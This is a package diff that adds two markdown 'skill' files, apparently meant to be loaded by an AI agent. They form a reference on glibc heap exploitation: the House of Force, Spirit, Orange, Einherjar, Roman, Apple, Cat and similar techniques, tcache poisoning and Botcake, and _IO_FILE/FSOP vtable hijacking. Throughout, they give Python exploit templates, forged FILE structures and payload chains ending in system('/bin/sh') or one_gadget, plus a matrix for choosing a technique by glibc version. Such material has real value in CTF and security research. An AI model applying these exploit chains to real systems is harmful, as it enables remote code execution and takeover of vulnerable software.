ineedcodes 1.6.0 → 1.7.0

package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md

@@ -0,0 +1,244 @@
+# House of Techniques — Named Heap Exploitation Methods
+
+> **AI LOAD INSTRUCTION**: Load this when you need specific named heap exploitation techniques (House of Force/Spirit/Lore/Orange/Einherjar/Roman/Pig/Banana/Cat/Apple) or tcache-specific attacks (Botcake, stashing unlink). Assumes the main [SKILL.md](./SKILL.md) is already loaded for ptmalloc2 fundamentals and glibc version constraints.
+
+---
+
+## 1. HOUSE OF FORCE
+
+**Overwrite top chunk size → control next allocation address.**
+
+| Aspect | Detail |
+|---|---|
+| Primitive needed | Overflow into top chunk size field |
+| Glibc constraint | < 2.29 (2.29 adds top chunk size validation) |
+| Mechanism | Set top chunk size to `0xffffffffffffffff`, then request `target_addr - top_addr - 0x20` bytes → next malloc returns near target |
+
+```python
+# Overwrite top chunk size to -1
+edit(top_adjacent_chunk, b'A' * data_size + p64(0) + p64(0xffffffffffffffff))
+# Calculate evil size
+evil_size = target_addr - (top_chunk_addr + 0x10) - 0x10
+malloc(evil_size)          # consume top chunk up to target
+ptr = malloc(0x10)         # this allocation lands at target_addr
+```
+
+---
+
+## 2. HOUSE OF SPIRIT
+
+**Forge a fake chunk header → free it → allocate at fake location.**
+
+| Aspect | Detail |
+|---|---|
+| Primitive needed | Write at least 16 bytes at target (fake chunk header) |
+| Target | Get fastbin/tcache allocation at stack/BSS/anywhere |
+| Mechanism | Craft fake `size` field (matching fastbin/tcache range), ensure next chunk's size is valid, free the fake chunk |
+
+```python
+# Stack layout: forge fake chunk
+fake_chunk = target_addr - 0x10
+# At fake_chunk+0x8: size = 0x41 (fastbin 0x40)
+# At fake_chunk+0x48: next_chunk_size = 0x21 (valid, > 0x10, < av->system_mem)
+free(fake_chunk + 0x10)    # free the "user data" pointer
+ptr = malloc(0x30)         # returns fake_chunk + 0x10 = target_addr
+```
+
+**tcache variant (glibc ≥ 2.26)**: No next-chunk size validation needed. Only need valid `size` field matching tcache bin index.
+
+---
+
+## 3. HOUSE OF LORE
+
+**Forge fake smallbin chunk → get allocation at arbitrary address.**
+
+| Aspect | Detail |
+|---|---|
+| Primitive needed | Heap write to corrupt smallbin bk pointer |
+| Mechanism | Insert fake chunk into smallbin via bk corruption → `malloc` returns fake chunk |
+| Checks to satisfy | `victim->bk->fd == victim` (doubly linked list integrity) |
+
+Requires crafting a fake chunk where `fake->fd = smallbin_head` to pass the check.
+
+---
+
+## 4. HOUSE OF ORANGE
+
+**No `free()` needed → get shell via _IO_FILE.**
+
+| Aspect | Detail |
+|---|---|
+| Primitive needed | Heap overflow to corrupt top chunk size |
+| Glibc constraint | Works on 2.23; vtable check added in 2.24 (needs bypass); fully blocked in later versions without _IO_str_jumps trick |
+| Mechanism | Shrink top chunk size → next large malloc triggers `sysmalloc` → old top freed into unsortedbin → unsortedbin attack writes `_IO_list_all` → trigger `_IO_flush_all_lockp` via abort/exit |
+
+### Attack Flow
+
+1. Overflow: corrupt top chunk size to small valid value (page-aligned, PREV_INUSE set)
+2. Large malloc: triggers `sysmalloc`, old top chunk freed into unsortedbin
+3. Unsortedbin attack: corrupt unsortedbin chunk's bk to `_IO_list_all - 0x10`
+4. Next malloc (smallbin size): unsortedbin → smallbin sorting writes `main_arena+0x68` to `_IO_list_all`
+5. `_IO_list_all` now points to `main_arena+0x68`, which overlaps with smallbin[5]
+6. Forge fake _IO_FILE at that smallbin entry with vtable pointing to controlled memory
+7. Trigger: malloc error → `_IO_flush_all_lockp` → calls `_IO_OVERFLOW` on fake FILE → shell
+
+---
+
+## 5. HOUSE OF EINHERJAR
+
+**Off-by-null byte → backward consolidation → overlapping chunks.**
+
+| Aspect | Detail |
+|---|---|
+| Primitive needed | Null byte overflow (off-by-one with `\x00`) |
+| Mechanism | Clear PREV_INUSE bit of next chunk → set fake `prev_size` → `free` triggers backward consolidation with a fake previous chunk |
+
+### Steps
+
+1. Allocate A, B, C (B is the overflow target)
+2. Overflow from A: null byte into B's size field → clears PREV_INUSE of B
+3. Forge `prev_size` in B to point back to a fake/controlled chunk
+4. Free B: backward consolidation merges B with the "previous" chunk → overlapping region
+5. Allocate into the overlapping region → control C's metadata
+
+**glibc ≥ 2.29**: Added `prev_size == chunk_size(prev)` check → need to ensure fake prev chunk has matching size.
+
+---
+
+## 6. HOUSE OF ROMAN
+
+**Partial overwrite without any leak → get shell.**
+
+| Aspect | Detail |
+|---|---|
+| Primitive needed | UAF + fastbin dup or heap overflow |
+| Special | Works without libc or heap leak (12-bit brute-force = 1/4096) |
+| Mechanism | Partial overwrite fastbin fd to point near `__malloc_hook`, overwrite hook with one_gadget via partial overwrite |
+
+Combines three partial overwrites:
+1. Fastbin fd → near `__malloc_hook` (partial overwrite)
+2. Unsortedbin attack → write near `__malloc_hook` area
+3. Overwrite `__malloc_hook` with one_gadget (partial overwrite, 4-bit guess)
+
+Success rate: ~1/4096 per attempt.
+
+---
+
+## 7. HOUSE OF PIG
+
+**Largebin attack + _IO_FILE + tcache stashing unlink.**
+
+| Aspect | Detail |
+|---|---|
+| Glibc target | 2.31+ (post-tcache key) |
+| Mechanism | Largebin attack writes heap address to `_IO_list_all`, forge _IO_FILE to call `_IO_str_overflow` which triggers `malloc` → tcache stashing unlink for arbitrary write → overwrite `__free_hook` |
+
+---
+
+## 8. HOUSE OF BANANA
+
+**Manipulate `_rtld_global` (ld.so) for code execution during exit.**
+
+| Aspect | Detail |
+|---|---|
+| Target | `_rtld_global._dl_ns[0]._ns_loaded->l_next->...->l_info[DT_FINI_ARRAY]` |
+| Mechanism | Corrupt link_map chain → during `_dl_fini` (called by exit), fake `DT_FINI_ARRAY` entries are called |
+| Advantage | Bypasses `_IO_FILE` vtable range checks |
+
+---
+
+## 9. HOUSE OF CAT
+
+**`_IO_wfile_jumps` exploitation.**
+
+| Aspect | Detail |
+|---|---|
+| Glibc target | ≥ 2.35 (bypasses vtable range check via wide-char vtable) |
+| Mechanism | `_IO_wfile_seekoff` → `_IO_switch_to_wget_mode` → calls through `_wide_data->_wide_vtable->_IO_wfile_overflow` |
+| Key | Forge `_wide_data` structure with controlled `_wide_vtable` pointing outside the vtable range check |
+
+### Constraints for Trigger
+
+```c
+// Must satisfy:
+fp->_mode > 0          // or fp->_IO_write_ptr > fp->_IO_write_base
+fp->_wide_data != NULL
+fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
+```
+
+---
+
+## 10. HOUSE OF APPLE (1, 2, 3)
+
+### House of Apple 1: stdout Leak
+
+Corrupt `_IO_2_1_stdout_` via largebin attack → arbitrary memory leak.
+
+### House of Apple 2: _IO_wfile_jumps Chain
+
+| Step | Action |
+|---|---|
+| 1 | Largebin attack: write heap addr to `_IO_list_all` (or stderr/stdout pointer) |
+| 2 | Forge `_IO_FILE` with `_wide_data` pointing to controlled area |
+| 3 | Set `_wide_data->_wide_vtable` to `_IO_wfile_jumps - 0x20` (or similar offset) |
+| 4 | Trigger `_IO_flush_all_lockp` (exit/abort) → `_IO_wfile_overflow` → controlled call |
+
+### House of Apple 3: _IO_wstrn_jumps
+
+Uses `_IO_wstrn_overflow` to achieve arbitrary write during FILE flush, then chains to `_IO_wfile_jumps` for RCE.
+
+---
+
+## 11. TCACHE-SPECIFIC ATTACKS
+
+### Tcache Poisoning
+
+```python
+# Direct fd overwrite (glibc < 2.32)
+free(A)               # A enters tcache
+edit(A, p64(target))  # overwrite A->fd = target
+malloc(size)          # returns A
+malloc(size)          # returns target
+
+# Safe-linking version (glibc >= 2.32)
+free(A)
+edit(A, p64((heap_base >> 12) ^ target))  # encode with PROTECT_PTR
+```
+
+### Tcache Key Bypass (glibc 2.29+)
+
+```python
+# tcache key stored at chunk+0x18 (in user data area after fd)
+free(A)
+edit(A, p64(0) + p64(0))  # clear fd and key
+free(A)                     # double free succeeds (key != tcache_perthread)
+```
+
+### House of Botcake
+
+```python
+# Double free: one copy in unsortedbin, one in tcache
+fill_tcache(7)         # fill tcache bin
+free(A)                # A → unsortedbin
+free(B)                # B → unsortedbin (B adjacent to A, consolidates)
+drain_tcache(1)        # make room in tcache
+free(A)                # A → tcache (A is now in both unsortedbin-merged-chunk and tcache)
+# Overlapping: allocate from unsortedbin → overlaps A in tcache → control A's fd
+```
+
+### Tcache Stashing Unlink
+
+When smallbin has chunks and tcache has room, `malloc` from smallbin triggers refill: remaining smallbin chunks are moved to tcache. By corrupting smallbin `bk`, this refill writes controlled addresses into tcache.
+
+---
+
+## 12. TECHNIQUE SELECTION MATRIX
+
+| glibc | No Free | No Leak | Hooks Available | Best Approach |
+|---|---|---|---|---|
+| < 2.26 | House of Orange | House of Roman | Yes | Orange → unsortedbin attack → __malloc_hook |
+| 2.26–2.28 | House of Orange variant | House of Roman | Yes | Tcache poisoning + hook overwrite |
+| 2.29–2.31 | Needs adaptation | Botcake / Roman | Yes | Botcake → hook or IO_FILE |
+| 2.32–2.33 | Needs adaptation | Needs heap leak | Yes | Safe-linking aware tcache poison |
+| ≥ 2.34 | House of Apple/Cat | Needs heap+libc leak | **No** | Largebin attack + House of Apple 2/Cat |
+| ≥ 2.35 | House of Cat | Needs both leaks | **No** | House of Cat (_IO_wfile_jumps) |

package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md

@@ -0,0 +1,256 @@
+# _IO_FILE Exploitation — FSOP, Vtable Hijack, stdout/stdin Abuse
+
+> **AI LOAD INSTRUCTION**: Load this when exploiting glibc _IO_FILE structures for leak or code execution. Covers FSOP, vtable hijack (pre/post 2.24), _IO_str_jumps, _IO_wstr_jumps, stdout arbitrary read, stdin arbitrary write, and exit flow exploitation. Assumes [SKILL.md](./SKILL.md) is loaded for heap fundamentals.
+
+---
+
+## 1. _IO_FILE STRUCTURE LAYOUT (64-bit)
+
+```c
+struct _IO_FILE_plus {
+    _IO_FILE file;           // 0x0 - 0xc0
+    const struct _IO_jump_t *vtable;  // 0xd8
+};
+
+// Key fields at specific offsets:
+// 0x00: _flags
+// 0x08: _IO_read_ptr
+// 0x10: _IO_read_end
+// 0x18: _IO_read_base
+// 0x20: _IO_write_base    ← for stdout leak: set this to target
+// 0x28: _IO_write_ptr     ← must be > _IO_write_base
+// 0x30: _IO_write_end
+// 0x38: _IO_buf_base
+// 0x40: _IO_buf_end
+// 0x68: _chain            ← linked list to next FILE
+// 0x70: _fileno           ← file descriptor number
+// 0x88: _lock             ← must point to valid (writable NULL) lock
+// 0xc0: _mode             ← 0 for byte mode, >0 for wide
+// 0xd8: vtable            ← _IO_jump_t pointer
+```
+
+---
+
+## 2. FSOP — FILE STREAM ORIENTED PROGRAMMING
+
+**Overwrite `_IO_list_all` to insert a fake _IO_FILE, trigger flush → controlled vtable call.**
+
+### Trigger Conditions
+
+`_IO_flush_all_lockp` is called automatically during:
+1. `exit()` → `__run_exit_handlers` → `_IO_cleanup` → `_IO_flush_all_lockp`
+2. `abort()` (triggered by malloc corruption detection)
+3. Return from `main()`
+
+### Flush Condition per FILE
+
+```c
+if ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
+    || (fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
+{
+    _IO_OVERFLOW(fp, EOF);  // calls vtable->__overflow
+}
+```
+
+### Fake FILE Template
+
+```python
+fake_file = b''
+fake_file += p64(0)                    # _flags: set to pass checks
+fake_file += p64(0) * 3               # _IO_read_ptr/end/base
+fake_file += p64(0)                    # _IO_write_base = 0
+fake_file += p64(1)                    # _IO_write_ptr = 1 (> write_base)
+fake_file += p64(0) * 2               # _IO_write_end, _IO_buf_base
+fake_file += p64(0)                    # _IO_buf_end
+fake_file += p64(0) * 4               # _IO_save_base to _IO_backup_base
+fake_file += p64(0)                    # _IO_save_end
+fake_file += p64(0)                    # _markers
+fake_file += p64(0)                    # _chain
+fake_file += p32(0) + p32(0)          # _fileno + _flags2
+fake_file += p64(0)                    # _old_offset
+fake_file += p64(0)                    # _cur_column + _vtable_offset + _shortbuf
+fake_file += p64(lock_addr)           # _lock (must be valid writable addr with NULL)
+fake_file = fake_file.ljust(0xc0, b'\x00')
+fake_file += p64(0)                    # _mode = 0 (byte mode)
+fake_file = fake_file.ljust(0xd8, b'\x00')
+fake_file += p64(fake_vtable_addr)    # vtable pointer
+```
+
+---
+
+## 3. VTABLE HIJACK
+
+### Pre-glibc 2.24: Direct Vtable Overwrite
+
+Forge a fake vtable at controlled address, set `__overflow` entry to target function (e.g., `system`).
+
+```python
+fake_vtable = p64(0) * 3              # padding (entries before __overflow)
+fake_vtable += p64(system_addr)       # __overflow at vtable+0x18
+# Set fp->vtable = &fake_vtable
+# fp is first arg to __overflow, so fp starts with "/bin/sh\x00" → system("/bin/sh...")
+```
+
+### Post-glibc 2.24: Vtable Range Check
+
+```c
+// _IO_vtable_check: vtable must be within [__libc_IO_vtables, __libc_IO_vtables + size]
+// If outside range → abort()
+```
+
+**Bypass strategies**:
+
+| Method | glibc Range | Technique |
+|---|---|---|
+| `_IO_str_jumps` | 2.24–2.27 | Point vtable to `_IO_str_jumps` (within valid range), use `_IO_str_overflow` as gadget |
+| `_IO_wfile_jumps` | ≥ 2.28 | Wide-char vtable indirection through `_wide_data->_wide_vtable` (no range check on wide vtable) |
+| `_IO_wstr_jumps` | ≥ 2.28 | Similar to wfile, via wide-string operations |
+| `_IO_cookie_jumps` | Specific versions | Cookie FILE has function pointers XOR'd with pointer guard |
+
+---
+
+## 4. _IO_str_jumps EXPLOITATION (glibc 2.24–2.27)
+
+`_IO_str_overflow` calls `malloc` and `memcpy` based on FILE fields → can redirect to `system`.
+
+```c
+// Simplified _IO_str_overflow:
+new_size = 2 * ((_IO_buf_end - _IO_buf_base) + 100);
+new_buf = malloc(new_size);      // if we overwrite (fp+0xe0) = system, this calls system
+```
+
+Alternative: `_IO_str_finish` calls `fp->_s._free_buffer(fp->_IO_buf_base)`:
+
+```python
+# Set _IO_buf_base = "/bin/sh" address
+# Set _s._free_buffer = system
+# vtable = _IO_str_jumps (valid range)
+# Trigger fclose/exit → _IO_str_finish → system("/bin/sh")
+```
+
+---
+
+## 5. STDOUT ARBITRARY READ (LIBC LEAK)
+
+Corrupt `_IO_2_1_stdout_` to leak arbitrary memory when the program calls `puts`/`printf`.
+
+### Technique
+
+```python
+# Overwrite stdout fields:
+_flags  = 0xfbad1800     # _IO_MAGIC | _IO_IS_FILEBUF | _IO_CURRENTLY_PUTTING
+_IO_read_ptr = 0         # zeroed
+_IO_read_end = 0         # zeroed
+_IO_read_base = 0        # zeroed
+_IO_write_base = target_addr   # ← start of leak
+_IO_write_ptr = target_addr + leak_size  # ← end of leak
+# Next puts/printf outputs bytes from [write_base, write_ptr)
+```
+
+### Partial Overwrite Variant (No Full Libc Leak Yet)
+
+Overwrite only the last 2 bytes of `_IO_write_base` (e.g., `\x00\x00`) to leak from a nearby lower address → often leaks libc addresses from the FILE structure itself.
+
+```python
+# stdout is at libc+offset, only last 1.5 bytes differ from heap chunk
+# Partial overwrite of _IO_write_base's last byte to \x00 → leaks backward
+```
+
+---
+
+## 6. STDIN ARBITRARY WRITE
+
+Corrupt `_IO_2_1_stdin_` to make `scanf`/`fgets`/`getchar` write to arbitrary memory.
+
+```python
+# Set stdin fields:
+_IO_buf_base = target_write_addr
+_IO_buf_end = target_write_addr + write_size
+_IO_read_ptr = target_write_addr    # equal to _IO_read_end to trigger refill
+_IO_read_end = target_write_addr
+# Next scanf/fgets reads user input into [buf_base, buf_end)
+```
+
+---
+
+## 7. _IO_FILE IN EXIT() FLOW
+
+### Execution Path in exit()
+
+```
+exit()
+  → __run_exit_handlers()
+    → _IO_cleanup()
+      → _IO_flush_all_lockp()     ← iterates _IO_list_all
+        → _IO_OVERFLOW(fp, EOF)   ← for each FILE meeting flush condition
+```
+
+### Modern Targets in __run_exit_handlers (glibc ≥ 2.34)
+
+| Target | Location | Mechanism |
+|---|---|---|
+| `__exit_funcs` | libc .data | Linked list of function pointers called during exit |
+| `_IO_list_all` | libc .data | FSOP via _IO_flush_all_lockp |
+| `tls_dtor_list` | TLS (thread-local) | Destructor list, XOR'd with `__pointer_chk_guard` |
+| `_dl_fini` | ld.so | Calls DT_FINI_ARRAY entries from link_map |
+
+### __exit_funcs Pointer Mangling
+
+```c
+// Function pointers in exit_funcs are mangled:
+// stored = (ptr >> 0x11 | ptr << (64-0x11)) ^ __pointer_chk_guard
+// To forge: need to know/leak __pointer_chk_guard (at fs:[0x30])
+```
+
+---
+
+## 8. PRACTICAL EXPLOITATION TEMPLATE
+
+### FSOP + House of Apple 2 (glibc ≥ 2.34)
+
+```python
+# 1. Achieve arbitrary write via largebin attack or other primitive
+# 2. Write heap address to _IO_list_all (or corrupt stderr->_chain)
+# 3. At heap address, forge _IO_FILE:
+
+fake = FileStructure()
+fake._flags = 0             # or specific value to pass checks
+fake._IO_write_ptr = 1      # > _IO_write_base (=0) to trigger flush
+fake._mode = 1              # > 0 → use wide path
+fake._lock = heap_addr + 0x100  # valid lock (writable, contains 0)
+fake._wide_data = heap_addr + 0x200  # points to controlled wide_data
+
+# At heap_addr + 0x200: forge _IO_wide_data
+wide_data = b'\x00' * 0x20
+wide_data += p64(1)         # _IO_write_ptr = 1
+wide_data = wide_data.ljust(0xe0, b'\x00')
+wide_data += p64(heap_addr + 0x300)  # _wide_vtable → fake wide vtable
+
+# At heap_addr + 0x300: forge wide vtable
+# __overflow is at vtable + 0x18
+wide_vtable = p64(0) * 3
+wide_vtable += p64(magic_gadget)  # __overflow → setcontext+53 or system
+
+# 4. Trigger exit() → shell
+```
+
+---
+
+## 9. DECISION TREE
+
+```
+Need _IO_FILE exploitation?
+├── Goal: Leak memory without explicit output?
+│   └── Corrupt stdout._IO_write_base → automatic leak on next I/O
+├── Goal: Arbitrary write via I/O?
+│   └── Corrupt stdin._IO_buf_base → next input writes to target
+├── Goal: Code execution via FSOP?
+│   ├── glibc < 2.24 → direct vtable overwrite
+│   ├── glibc 2.24–2.27 → _IO_str_jumps or _IO_str_finish
+│   ├── glibc 2.28–2.33 → _IO_wfile_jumps (wide-char path)
+│   └── glibc ≥ 2.34 → House of Apple 2 / House of Cat
+└── Trigger method?
+    ├── exit() / return from main → _IO_flush_all_lockp
+    ├── malloc abort (corruption) → _IO_flush_all_lockp
+    └── Explicit fclose(fp) → _IO_FINISH via vtable
+```